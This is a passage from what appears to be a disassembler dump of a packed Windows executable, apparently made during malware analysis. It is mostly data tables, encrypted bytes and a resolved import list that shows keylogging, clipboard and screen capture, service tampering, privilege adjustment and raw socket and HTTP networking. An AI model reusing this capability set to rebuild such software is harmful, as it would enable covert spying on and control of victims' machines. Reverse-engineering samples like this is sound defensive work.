resolved to->KERNEL32.Process32Next ; sub_40891C+CAr ... dword_43C478 dd 76D64B79h ; resolved to->IPHLPAPI.IcmpSendEcho ; sub_40A133+11Ar dword_43C47C dd 76F3798Ah ; resolved to->DNSAPI.DnsFlushResolverCache ; sub_40891C+A6Dr ... dword_43C480 dd 7C80A427h ; resolved to->KERNEL32.QueryPerformanceCounter ; sub_40891C+F2r dword_43C484 dd 77F1AC3Dh ; resolved to->GDI32.GetDIBColorTable ; sub_40891C+4B5r dword_43C488 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_40891C+5D8w ... dword_43C48C dd 5B8A3009h ; sub_40891C+A08r dword_43C490 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40891C+5CBw ... dword_43C494 dd 71B25099h ; sub_40891C+B21w dword_43C498 dd 42C367F6h ; resolved to->WININET.InternetGetConnectedState ; sub_40891C+84Fr ... dword_43C49C dd 7E45A045h ; resolved to->USER32.ExitWindowsEx ; sub_409D12+15r dword_43C4A0 dd 5B868E65h ; sub_40891C+9F0r ... dword_43C4A4 dd 77DEB635h ; resolved to->ADVAPI32.ControlService ; sub_40891C+3B9r ... dword_43C4A8 dd 77E37311h ; resolved to->ADVAPI32.DeleteService ; sub_40891C+3C1r ... dword_43C4AC dd 73B81E3Bh ; sub_40891C+C5Dr dword_43C4B0 dd 71AC0B50h ; resolved to->WS2_32.getpeernamedword_43C4B4 dd 71AB4428h ; resolved to->WS2_32.WSACleanup ; sub_4018CB:loc_401B47r ... dword_43C4B8 dd 77F16C0Ah ; resolved to->GDI32.DeleteObjectdword_43C4BC dd 5B894541h ; sub_40891C+A20r ... dword_43C4C0 dd 77DDEDE5h ; resolved to->ADVAPI32.RegDeleteValueA ; sub_40891C+2DEr ... dword_43C4C4 dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsA ; sub_40891C+DAr ... dword_43C4C8 dd 7CA41110h ; resolved to->SHELL32.ShellExecuteA ; sub_40891C+B75r ... dword_43C4CC dd 71AB664Dh ; resolved to->WS2_32.WSAStartup ; sub_4018CB+2Fr ... dword_43C4D0 dd 42C2CD78h ; resolved to->WININET.HttpSendRequestA ; sub_40891C+872r ... dword_43C4D4 dd 5B897BE9h ; sub_40891C+9F8r dword_43C4D8 dd 74344AE7h ; sub_404EC7+6Er ... dword_43C4DC dd 7E41BE4Bh ; resolved to->USER32.GetForegroundWindow ; sub_4021FB+63r ... dword_43C4E0 dd 76D64D5Eh ; resolved to->IPHLPAPI.IcmpCreateFile ; sub_40891C+910r ... dword_43C4E4 dd 74327E4Dh dword_43C4E8 dd 71AB94DCh ; resolved to->WS2_32.WSAGetLastError ; sub_401444+3Cr ... dword_43C4EC dd 42C2C8A1h ; resolved to->WININET.InternetOpenA ; sub_40891C+855r dword_43C4F0 dd 7E43212Bh ; resolved to->USER32.GetWindowTextA ; sub_4021FB+78r ... dword_43C4F4 dd 7E41B933h ; resolved to->USER32.IsWindow ; sub_40891C+1C2r dword_43C4F8 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_40891C+786r ... dword_43C4FC dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_4036D2+5Er ... dword_43C500 dd 71AB4489h ; resolved to->WS2_32.WSAIoctl ; sub_40891C+549w ... dword_43C504 dd 0CC0004h ; sub_40891C:loc_4091F7w ... dword_43C508 dd 77DDEAF4h ; resolved to->ADVAPI32.RegCreateKeyExA ; sub_40891C+2C6r ... dword_43C50C dd 71ABE479h ; resolved to->WS2_32.gethostbyaddr ; sub_40891C+681w ... dword_43C510 dd 77DFD11Bh ; resolved to->ADVAPI32.LookupPrivilegeValueA ; sub_40891C+323r ... dword_43C514 dd 77DEAF3Fh ; resolved to->ADVAPI32.EnumServicesStatusA ; sub_40891C+3D1r ... dword_43C518 dd 743452A3h ; sub_404EC7+1A0r ... dword_43C51C dd 42C24399h ; resolved to->WININET.HttpOpenRequestA ; sub_40891C+86Ar ... dword_43C520 dd 7E41F3B3h ; resolved to->USER32.GetAsyncKeyState ; sub_40891C+206w ... dword_43C524 dd 7E430237h ; resolved to->USER32.OpenClipboard ; sub_40891C+1D2r ... dword_43C528 dd 42C249F2h ; resolved to->WININET.InternetConnectA ; sub_40891C+87Ar ... dword_43C52C dd 71AB2D0Fh ; resolved to->WS2_32.recvfrom ; sub_40891C+606w ... dword_43C530 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_40891C+2BFw ... dword_43C534 dd 71AB3EA1h ; resolved to->WS2_32.setsockopt ; sub_401444+AAr ... dword_43C538 dd 77DD7753h ; resolved to->ADVAPI32.OpenProcessToken ; sub_40891C+316r ... dword_43C53C dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_406B84+1FCr ... dword_43C540 dd 77F1B221h ; resolved to->GDI32.CreateDCA ; sub_40891C+490r dword_43C544 dd 7E430D7Ah ; resolved to->USER32.GetClipboardData ; sub_40891C+1DAr ... dword_43C548 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_40891C+39Cr ... dword_43C54C dd 76F37ABDh ; resolved to->DNSAPI.DnsFlushResolverCacheEntry_Adword_43C550 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_4010B2+1F9r ... dword_43C554 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_4010B2+9Dr ... dword_43C558 dd 7C863DE5h ; resolved to->KERNEL32.Process32First ; sub_40891C+C2r ... dword_43C55C dd 77F15A7Ah ; resolved to->GDI32.GetDeviceCaps ; sub_40891C+4ADr dword_43C560 dd 7E42DE87h ; resolved to->USER32.FindWindowA ; sub_40891C+1BAr ... dword_43C564 dd 5B8A5199h ; sub_413B27+72r dword_43C568 dd 71AB50C8h ; resolved to->WS2_32.gethostname ; sub_40891C+78Er dword_43C56C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_4033B6+23Br ... dword_43C570 dd 74343318h ; sub_404EC7+21Dr ... dword_43C574 dd 7C864B0Fh ; resolved to->KERNEL32.CreateToolhelp32Snapshot ; sub_40891C+BAr ... dword_43C578 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_40891C+2CEr ... dword_43C57C dd 71AB88D3h ; resolved to->WS2_32.listen ; sub_407B36+9Cr ... dword_43C580 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_405A96+89r ... dword_43C584 dd 73B81B0Fh dword_43C588 dd 42C1DAC1h ; resolved to->WININET.InternetCloseHandle ; sub_40AD52+209r ... dword_43C58C dd 0 dword_43C590 dd 743527D4h ; sub_40891C+BB8w ... dword_43C594 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_401444+1A0r ... dword_43C598 dd 77F19219h ; resolved to->GDI32.CreateDIBSection ; sub_40891C+49Dr dword_43C59C dd 77F16F89h ; resolved to->GDI32.BitBlt ; sub_40891C+4C5r dword_43C5A0 dd 77F15FF0h ; resolved to->GDI32.CreateCompatibleDC ; sub_40891C+4A5r dword_43C5A4 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_4033B6+249r ... dword_43C5A8 dd 7E430225h ; resolved to->USER32.CloseClipboard ; sub_40891C+1E2r ... dword_43C5AC dd 5B86AA41h ; sub_40891C+A28r ... dword_43C5B0 dd 7E42F383h ; resolved to->USER32.SendMessageA ; sub_40891C+1ADr ... dword_43C5B4 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeA ; sub_40891C+E2r ... dword_43C5B8 dd 71AB2C69h ; resolved to->WS2_32.sendto ; sub_401444+2C8r ... dword_43C5BC dd 71B2547Ah ; sub_40891C+B30r dword_43C5C0 dd 77DFC534h ; resolved to->ADVAPI32.AdjustTokenPrivileges ; sub_413BE5+55r dword_43C5C4 dd 77DD761Bh ; resolved to->ADVAPI32.RegOpenKeyExA ; sub_40891C+27Ew ... dword_43C5C8 dd 7CA235CBh ; resolved to->SHELL32.SHChangeNotifydword_43C5CC dd 76D6A195h ; resolved to->IPHLPAPI.DeleteIpNetEntry ; sub_409FB2+8Fr dword_43C5D0 dd 76D69962h ; resolved to->IPHLPAPI.GetIpNetTable ; sub_40891C+AB7r ... dword_43C5D4 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_401BD4+55r ... dword_43C5D8 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_40891C+674w ... dword_43C5DC dd 7432FF6Bh ; sub_40891C+BC5w ... dword_43C5E0 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_406B84+250r ... dword_43C5E4 dd 5B867750h ; sub_40891C+A00r ... dword_43C5E8 dd 71AC1028h ; resolved to->WS2_32.accept ; sub_407B36+B3r ... dword_43C5EC dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_401444+2F4r ... dword_43C5F0 dd 71AB4519h ; resolved to->WS2_32.ioctlsocket ; sub_405A96+376r ... dword_43C5F4 dd 71B2578Ch ; sub_402FCD+C8r ... dword_43C5F8 dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_4018CB+4Fr ... dword_43C5FC dd 71B2517Fh ; sub_40891C+B1Br dword_43C600 dd 7C80AC0Fh ; resolved to->KERNEL32.SetErrorMode ; sub_40891C+ADr ... dword_43C604 dd 7E41DAEAh ; resolved to->USER32.DestroyWindow ; sub_40891C+1CAr dword_43C608 dd 76D64D33h ; resolved to->IPHLPAPI.IcmpCloseHandle ; sub_40891C+91Dr ... dword_43C60C dd 7C8217EAh ; resolved to->KERNEL32.SearchPathA ; sub_40891C+EAr ... dword_43C610 dd 0 ; sub_40891C+12Bw ... dword_43C614 dd 0 ; sub_4095A9+1Cr dword_43C618 dd 0 ; sub_40891C:loc_408B71w ... dword_43C61C dd 0 ; sub_4095A9+50r dword_43C620 dd 0 ; sub_40891C:loc_408C4Bw ... dword_43C624 dd 0 ; sub_4095A9+84r dword_43C628 dd 0 ; sub_4095A9:loc_409659r dword_43C62C dd 0 ; sub_4095A9+B8r dword_43C630 dd 0 ; sub_4095A9:loc_40968Dr dword_43C634 dd 0 ; sub_4095A9+ECr dword_43C638 dd 0 ; sub_40891C+8D1w ... dword_43C63C dd 0 ; sub_4095A9+120r dword_43C640 dd 0 ; sub_4095A9:loc_4096F5r ... dword_43C644 dd 0 ; sub_4095A9+154r dword_43C648 dd 0 ; sub_4095A9:loc_409729r ... dword_43C64C dd 0 ; sub_4095A9+188r dword_43C650 dd 0 ; sub_4095A9:loc_40975Dr dword_43C654 dd 0 ; sub_4095A9+1BCr dword_43C658 dd 0 ; sub_4095A9:loc_409791r dword_43C65C dd 0 ; sub_4095A9+1F0r dword_43C660 dd 0 ; sub_4095A9:loc_4097C5r dword_43C664 dd 0 ; sub_4095A9+224r dword_43C668 dd 0 ; sub_4095A9:loc_4097F9r dword_43C66C dd 0 ; sub_4095A9+258r dword_43C670 dd 0 ; sub_4095A9:loc_40982Dr dword_43C674 dd 0 ; sub_4095A9+28Cr dword_43C678 dd 0 ; sub_4095A9:loc_409861r dword_43C67C dd 0 ; sub_4095A9+2C0r dword_43C680 dd 80h dup(0) dword_43C880 dd 4 dup(0) dword_43C890 dd 0 ; sub_40A5C5+54r ... dword_43C894 dd 0 ; sub_40A5C5+37r ... dword_43C898 dd 0 ; sub_40A71A+83o dword_43C89C dd 0 ; sub_40A71A+11Bw dword_43C8A0 dd 0Dh dup(0) ; sub_40A71A:loc_40A857o dword_43C8D4 dd 0 ; sub_40A5C5+ECr ... dword_43C8D8 dd 0Eh dup(0) dword_43C910 dd 1000h dup(0) ; sub_40B118o ... dword_440910 dd 0Dh dup(0) ; sub_40B118+Eo ... dword_440944 dd 0 dword_440948 dd 0 ; sub_40AF80+44r ... dd 5 dup(0) dword_440960 dd 0 ; sub_40CD3A+B6Br dd 2D9h dup(0) dword_4414C8 dd 0 ; sub_40AF80+2Do ... dd 7Fh dup(0) dword_4416C8 dd 0 ; sub_414F15+3Aw ... dword_4416CC dd 0 ; sub_4076CB+6Dr ... dword_4416D0 dd 0 ; sub_414DDA+45w ... dword_4416D4 dd 0 ; sub_405A96+7Ew ... dword_4416D8 dd 0 ; sub_407EA5+53r ... dword_4416DC dd 0 ; sub_4071B6+11Fw ... byte_4416E0 db 0 ; DATA XREF: sub_40CA58+91o ; sub_40CD3A+318Dr ... align 4 dd 101Bh dup(0) dword_445750 dd 949Ah dup(0) dword_46A9B8 dd 2FE1h ; sub_40C574+47w ... align 10h dword_46A9C0 dd 0 dword_46A9C4 dd 20h dup(0) ; sub_40C574+447o ... dword_46AA44 dd 10h dup(0) ; sub_40CD3A+8D4o dword_46AA84 dd 24h dup(0) dword_46AB14 dd 0 ; sub_40C574+45Ew ... dword_46AB18 dd 0 dd 2 dup(0) dword_46AB24 dd 0 dword_46AB28 dd 0 ; sub_40CD3A+268r byte_46AB2C db 0 ; DATA XREF: sub_40CBBE+28r ; sub_40CBBE+30o byte_46AB2D db 3 dup(0) ; DATA XREF: sub_40282F+9Fo dword_46AB30 dd 0 ; sub_40C574+412r ... dword_46AB34 dd 0 ; sub_40CD3A+878r dword_46AB38 dd 18h dup(0) ; sub_412D95+131o ... dword_46AB98 dd 8 dup(0) ; sub_413B27+A5o dword_46ABB8 dd 0 ; sub_41503B+19o dword_46ABBC dd 77h dup(0) dword_46AD98 dd 0 ; sub_413112+4Dr ... align 10h dword_46ADA0 dd 18h dup(0) ; sub_4139F3+12Do dword_46AE00 dd 80h dup(0) ; sub_413053+7Do ... byte_46B000 db 0 ; DATA XREF: sub_413112+29r ; sub_413112+34w align 8 dword_46B008 dd 80h dup(0) ; sub_413369+88o ... dword_46B208 dd 80h dup(0) ; sub_412C6C+50o ... dword_46B408 dd 80h dup(0) byte_46B608 db 0 ; DATA XREF: sub_414CD9+64r ; sub_414CD9+92w align 10h dword_46B610 dd 0 align 8 dword_46B618 dd 0 ; sub_41697B+A4w align 10h word_46B620 dw 0 ; DATA XREF: sub_41697B+55r ; sub_41697B+9Ao word_46B622 dw 0 ; DATA XREF: sub_41697B+48r db 2 dup(0) word_46B626 dw 0 ; DATA XREF: sub_41697B+3Br word_46B628 dw 0 ; DATA XREF: sub_41697B+2Er word_46B62A dw 0 ; DATA XREF: sub_41697B+21r align 10h dword_46B630 dd 0 ; sub_416B3F+91w dword_46B634 dd 0 ; sub_416CDE:loc_416D5Aw ... dword_46B638 dd 0 ; sub_4185EB:loc_418685w ... dword_46B63C dd 0 dword_46B640 dd 0A28h dword_46B644 dd 501h dword_46B648 dd 5 dword_46B64C dd 1 dword_46B650 dd 1 ; sub_41D170+91w dword_46B654 dd 341400h ; sub_40C574+307r ... dd 0 dword_46B65C dd 341428h ; sub_41FCDD+9r ... dword_46B660 dd 0 dword_46B664 dd 0 ; sub_4200AB+4r ... dd 0 off_46B66C dd offset aCM_unpackerPac ; DATA XREF: sub_41D170+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_46B674 db 0 ; DATA XREF: sub_417869+2Dw ; sub_41DA17+5r align 4 dword_46B678 dd 0 dword_46B67C dd 0 ; sub_417869+8Bw dword_46B680 dd 0 ; sub_41D0B7:loc_41D0C9r ... align 8 dword_46B688 dd 0 dword_46B68C dd 0 dd 0 dword_46B694 dd 0 ; sub_41737F:loc_41749Br ... dword_46B698 dd 0 dword_46B69C dd 0 ; sub_419A6F+2Dw ... dword_46B6A0 dd 0 ; sub_41A9A5+1Ar ... byte_46B6A4 db 0 ; DATA XREF: sub_41A8A1+3r ; sub_41A8A1+98r ... align 4 dword_46B6A8 dd 0 ; sub_41AA83+21w ... byte_46B6AC db 0 ; DATA XREF: sub_41AA83+51w align 10h dword_46B6B0 dd 0 ; sub_41B054+3Ar ... dword_46B6B4 dd 0 ; sub_41B054+43r ... dword_46B6B8 dd 0 ; sub_41AE20+5r dword_46B6BC dd 0 dword_46B6C0 dd 1 ; sub_41C639+4Cw ... dd 2 dup(0) dword_46B6CC dd 0 ; sub_417033+9Dr ... dd 3 dup(0) dword_46B6DC dd 0 ; sub_417A19+BFr ... dd 0 dword_46B6E4 dd 1 ; sub_41C9F6+4w ... dword_46B6E8 dd 0 ; sub_41CEDB+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_41D170:loc_41D187o ; seg001:off_46B66Co align 4 dd 3Ah dup(0) dword_46B7F0 dd 1 ; sub_41D3BD+23w ... dword_46B7F4 dd 0 dword_46B7F8 dd 0 ; sub_4188A0+154w ... dword_46B7FC dd 1 ; sub_41DA93:loc_41DAFDw dword_46B800 dd 0 align 8 word_46B808 dw 0 ; DATA XREF: sub_41E67B+1Ao ; sub_41E67B+46r byte_46B80A db 0 ; DATA XREF: sub_41E67B+39r align 4 dword_46B80C dd 7 dup(0) dword_46B828 dd 0 ; sub_41E67B+5Co dword_46B82C dd 0 dword_46B830 dd 0 dword_46B834 dd 0 dword_46B838 dd 77C2807Ch ; sub_41E79E+38r ... align 10h dword_46B840 dd 0 ; sub_41EA02+63w ... align 8 dword_46B848 dd 0 ; sub_41EA02+46r dword_46B84C dd 10h dup(0) word_46B88C dw 0 ; DATA XREF: sub_41EC60+A8r word_46B88E dw 0 ; DATA XREF: sub_41EA02+54r ; sub_41EC60+DBr ... word_46B890 dw 0 ; DATA XREF: sub_41EC60+CAr word_46B892 dw 0 ; DATA XREF: sub_41EC60+D3r ; sub_41EC60:loc_41ED52r word_46B894 dw 0 ; DATA XREF: sub_41EC60+C0r word_46B896 dw 0 ; DATA XREF: sub_41EC60+B8r word_46B898 dw 0 ; DATA XREF: sub_41EC60+B0r word_46B89A dw 0 ; DATA XREF: sub_41EC60+9Er dword_46B89C dd 0 dword_46B8A0 dd 10h dup(0) word_46B8E0 dw 0 ; DATA XREF: sub_41EC60+46r word_46B8E2 dw 0 ; DATA XREF: sub_41EA02:loc_41EA79r ; sub_41EC60+78r ... word_46B8E4 dw 0 ; DATA XREF: sub_41EC60+67r word_46B8E6 dw 0 ; DATA XREF: sub_41EC60+70r ; sub_41EC60:loc_41ECE4r word_46B8E8 dw 0 ; DATA XREF: sub_41EC60+5Dr word_46B8EA dw 0 ; DATA XREF: sub_41EC60+55r word_46B8EC dw 0 ; DATA XREF: sub_41EC60+4Dr word_46B8EE dw 0 ; DATA XREF: sub_41EC60+3Er dword_46B8F0 dd 0 dword_46B8F4 dd 0 ; sub_41EA02:loc_41EB4Er ... dword_46B8F8 dd 0 dword_46B8FC dd 0 ; resolved to->USER32.MessageBoxA ; sub_41EF8E+2Ew ... dword_46B900 dd 0 ; resolved to->USER32.GetActiveWindow ; sub_41EF8E:loc_41EFDDr dword_46B904 dd 0 ; resolved to->USER32.GetLastActivePopup ; sub_41EF8E+60r dword_46B908 dd 0 dword_46B90C dd 0 ; sub_41FB6B+6Do dword_46B910 dd 0 ; sub_41FB6B+44o dword_46B914 dd 0 ; sub_41FB6B+37o dword_46B918 dd 0 ; sub_41FB6B+51o align 10h dword_46B920 dd 0 ; sub_420119+48w ... byte_46B924 db 1 ; DATA XREF: sub_404EA5r sub_404EA5+9w ... align 4 dword_46B928 dd 3427A0h ; sub_418A10+14r ... dd 5 dup(0) dword_46B940 dd 400h dup(0) ; seg001:0043A640o dword_46C940 dd 200h ; sub_418769+56r ... dd 7 dup(0) dword_46C960 dd 340650h ; sub_41C178+75r ... dword_46C964 dd 3Fh dup(0) dword_46CA60 dd 20h ; sub_41C251+Cr ... dword_46CA64 dd 4E4h ; sub_41C85D+65w ... align 10h dword_46CA70 dd 3 dup(0) ; sub_41C85D+171o ... dword_46CA7C dd 0 ; sub_41C85D+15Dw ... byte_46CA80 db 0 ; DATA XREF: sub_41CA9C:loc_41CBA8w ; sub_41CA9C:loc_41CBC5w ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh byte_46CB80 db 0 ; DATA XREF: sub_41C85D+5Co ; sub_41C85D+AFo ... byte_46CB81 db 0 ; DATA XREF: sub_4171E8+5Dr ; sub_41C85D+A0w ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_46CC84 dd 0 ; sub_41C85D+12Bw ... dword_46CC88 dd 0 ; sub_41931A+5r ... dword_46CC8C dd 0 ; sub_418CE8+25Ar ... dword_46CC90 dd 0 ; sub_418CE8+311w ... dword_46CC94 dd 0 ; sub_418CE8+22Dr ... dword_46CC98 dd 0 ; sub_418CBDr ... dword_46CC9C dd 0 ; sub_418CBD+8r ... dword_46CCA0 dd 0 ; sub_41737F+5Cr ... dword_46CCA4 dd 340000h ; sub_415C9B+5Ar ... dword_46CCA8 dd 1 dword_46CCAC dd 142340h ; sub_41D05F+Fr ... dword_46CCB0 dd 1 ; sub_41FCDDr dword_46CCB4 dd 1 ; sub_41CC21+11w ... dword_46CCB8 dd 342724h ; sub_416663:loc_4166A5r ... dword_46CCBC dd 342718h ; sub_416663+Cr ... byte_46CCC0 db 1 ; DATA XREF: sub_4209C4+15r ; sub_4209C4+1Ew align 400h seg001 ends ; Section 2. (virtual address 0006D000) ; Virtual size : 0001B000 ( 110592.) ; Section size in file : 0001B000 ( 110592.) ; Offset to raw data for section: 0006D000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write seg002 segment para public 'DATA' use32 assume cs:seg002 ;org 46D000h dd 3 dup(0) dd 154h, 6D028h, 5 dup(0) dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7 dup(0) dd 0EC8B1C55h, 4948E81h, 45013C1Ch, 0B9575608h, 1501C3A5h dd 6CBD8DF0h, 0F3C5FFFDh, 3380C7F4h, 1200290h, 150E297Eh dd 142104Ch, 4335E850h, 858D1C83h, 3C7CFE74h, 88A10FDDh dd 0D06FFDF4h, 394E883h, 6C1B5A62h, 0E56807FBh, 0B0330E30h dd 0F63300B0h, 3920C483h, 0EAF87275h, 0E51CA456h, 3A44F4F1h dd 0B554481Fh, 44E80D6Dh, 4A944E1Bh, 6C981F14h, 0EBC59FDCh dd 1A0470B5h, 590E4049h, 1183562Ah, 5E5F1448h, 9884CAB2h dd 6A575380h, 73DB330Eh, 0AFC05059h, 88A5C34Dh, 0D0E4C9Dh dd 4C66ABF3h, 447C8AAAh, 27168FDh, 38CC1588h, 850643C4h dd 520774C0h, 23C9E937h, 5747FF70h, 0ED68E253h, 36AD651h dd 408802C9h, 831DC5F8h, 4589017Ch, 0A0840FE0h, 6A343A0h dd 46AC04Dh, 530F3651h, 597D8950h, 91193440h, 0B940793Ah dd 0C7660F14h, 0B159A845h, 8B319F54h, 286A08C3h, 0AA763966h dd 0C6AC3BF9h, 1652CC3Ch, 28982541h, 0D07D08CEh, 0C6D25D80h dd 880D432h, 1906D533h, 0DC5029D6h, 0EE433024h, 4150F0E8h dd 0B70E0FDBh, 0F2B999C0h, 0F9F78242h, 681B9052h, 34561978h dd 90EC4112h, 0D889501Eh, 0F01C482Ch, 0E810ACC3h, 0C94BC7Dh dd 0B3FDCD1Ch, 1F49809h, 0EB02F9A8h, 0A0CC6854h, 61471C3Fh dd 38EB10C1h, 0F43BFA68h, 7CF62528h, 3FF9E9D0h, 89DE6199h dd 6EF9F455h, 13020E42h, 0D21ADA90h, 0EE2801Fh, 5588D107h dd 400568C7h, 0F8869018h, 8FACA550h, 0B8CF8DFAh, 0FE33C1D5h dd 2B551006h, 0E4229B8Ah, 61EA9F3Fh, 3E06BC13h, 240E9918h dd 19B952B8h, 8103D56Bh, 5E146A36h, 33F75513h, 0C8CAC470h dd 0B4FC6F3Dh, 0E804D305h, 812103E9h, 112BFFC2h, 0EC9F5D52h dd 0E443E7D2h, 0BDC1F88Bh, 15DDAA0Ch, 0A457F40Bh, 2C1CAA1Ch dd 0FF0CBAF9h, 66500692h, 0D840200Eh, 0E5660DCh, 905D888Ch dd 691A3A0h, 30929985h, 880C94D8h, 6A267398h, 4C885D20h dd 0CE88DFFh, 0EC248CEFh, 866C2356h, 8840FB22h, 0CF346A1Dh dd 287CE01Ch, 46FC643Bh, 342124CCh, 210B40D8h, 48C79160h dd 8CF14912h, 8A581E53h, 4C44AB41h, 9A812846h, 898DD618h dd 0D1B24092h, 106A2D40h, 2DAE53FCh, 42E026A1h, 536CB8B2h dd 45467462h, 20484710h, 3BE83EC0h, 127FC881h, 65CA8C0Fh dd 0E41C9019h, 8214C43Eh, 75510CBEh, 26EC3812h, 0B4200E5Eh dd 0C38B07C4h, 4CC95B5Fh, 228BE818h, 682C0CE9h, 3F67718Ch dd 1109F21Dh, 9C95188Eh, 0A488515h, 1953C116h, 2024DEDDh dd 8B4D865Fh, 181265C4h, 80B1E587h, 0B470144h, 68D86FCFh dd 907FA875h, 0A475D442h, 57024070h, 5360A590h, 848D2C39h dd 100B932h, 85E85650h, 0C5A0A6FCh, 750644A4h, 0FF484001h dd 0E678C823h, 2C90B0FFh, 6292C35Bh, 44E603BCh, 686AD1C5h dd 45889695h, 66BAAA44h, 70434C68h, 66484D58h, 9C98890Dh dd 0D4B30299h, 0FC0571C5h, 0C12C5F75h, 3811FB44h, 407E0832h dd 0DBC1333Eh, 0DC7D390Ch, 0A4573270h, 0D8E9E51Ch, 6E484D9Eh dd 0FE446232h, 3B171222h, 0AA10FCF2h, 0C875889Bh, 3C5C1AF0h dd 0C957882Fh, 5BF4CB84h, 57FA169Ah, 2C165350h, 5AF975CDh dd 31427C79h, 778F0522h, 36169BE2h, 0A3113347h, 4264A63Bh dd 94537DFEh, 6855296Fh, 9DC4B490h, 46CB1B3Dh, 34B2675Eh dd 9ACC233Ch, 6AA23C11h, 34F93D64h, 0B8A63DA0h, 2FD99B2h dd 9511C557h, 8BB187E6h, 69C32935h, 7D95802Ch, 0C2D6FF08h dd 1EE9F810h, 1C688E48h, 0C63B7ABAh, 42ADB505h, 9900BD9Dh dd 28A366D4h, 2A42AD6Ah, 22076C1Dh, 48C86E3Dh, 88808270h dd 1491711Dh, 30741072h, 0F72E69E8h, 0E3C14101h, 9024E908h dd 1AC80315h, 910D1059h, 15487490h, 18EB2B74h, 8A108CDDh dd 98AE59EAh, 251DA351h, 0BB78E1FBh, 3CDE1311h, 905B8337h dd 50158827h, 8DCB137Ch, 0B8887D90h, 2C08F067h, 483A2EAAh dd 0B37E9591h, 42988288h, 88801510h, 28A990E8h, 144616FFh dd 13846852h, 2CAA9B22h, 97A539A9h, 5AFF3757h, 165D4AFEh dd 0F982CFCh, 679F8435h, 28487485h, 60ED242Bh, 0F1F7D233h dd 0D0088FB0h, 0A2CB860Fh, 25EC452Ch, 6B3287F1h, 0C8803CC0h dd 1D0AE8C1h, 82D075F7h, 505114E9h, 48CC764Ch, 8AC81508h dd 0C33F6445h, 883BA110h, 3723FC1Ch, 98CF6214h, 87393F30h dd 166985A1h, 90778CCAh, 0D3041CEh, 88CD3575h, 4440A0EBh dd 0C2117E18h, 385AB213h, 0A68738CAh, 0F21464EBh, 0E485882Fh dd 3B1072ECh, 0F9F0882Bh, 9F077014h, 0E813FD91h, 0EC1CCC0Ch dd 32802184h, 0C43A9408h, 85EC2818h, 849A7095h, 2848FDECh dd 10FBF253h, 0B08497C0h, 383027C1h, 44511997h, 11F4C81Eh dd 5BC8881Bh, 0A2F43CD4h, 208C66F4h, 3B2153B0h, 4BD04F3Ah dd 289B7B13h, 0B440B220h, 109185E0h, 0E444E222h, 12E881E6h dd 2EA11E9h, 8B5932F0h, 35CE4D33h, 183AD42Ah, 2D908B4h dd 0DA66E2B1h, 48C04EE8h, 0F879DE96h, 44C4200Bh, 0D588C014h dd 0F809843Dh, 8C13F28Bh, 0C1A86E36h, 73E8DC67h, 0AC923939h dd 4255FECCh, 504B8F39h, 8C8DD0A8h, 0EC24146Ah, 4E5FF080h dd 21953B57h, 397758ECh, 57CC2184h, 34396662h, 90864B21h dd 57E010DCh, 349443B2h, 32226043h, 0C3709596h, 5948F38h dd 0D8EA8846h, 959C38FDh, 0F47CB0C4h, 0DE3F1087h, 3BFC6161h dd 219439C6h, 20F890C8h, 88BC42A8h, 0BC8855F4h, 37AB4232h dd 8F95F41Ch, 62A1F29Fh, 20193CECh, 31DCE113h, 4B1A37CDh dd 420E902Ch, 581C23FDh, 32870440h, 0BC159B2h, 4CA463C0h dd 2C1C4C6Eh, 89091D46h, 668BCAB0h, 21614323h, 3D8B4260h dd 0D7FC275Ah, 9649A8A1h, 0F3D59F5h, 66E2B72Ch, 0FBC02216h dd 278434F0h, 3E1836C7h, 99C2589Dh, 92532375h, 54C3611Dh dd 0C4CB277Ch, 0C042EDC6h, 0DF0F5711h, 93EF88A1h, 88B84447h dd 5344345Ch, 0CC70C264h, 85757A14h, 10CE7EA3h, 87749C8h dd 71D90ED9h, 33DE110Eh, 0FD4E6AA6h, 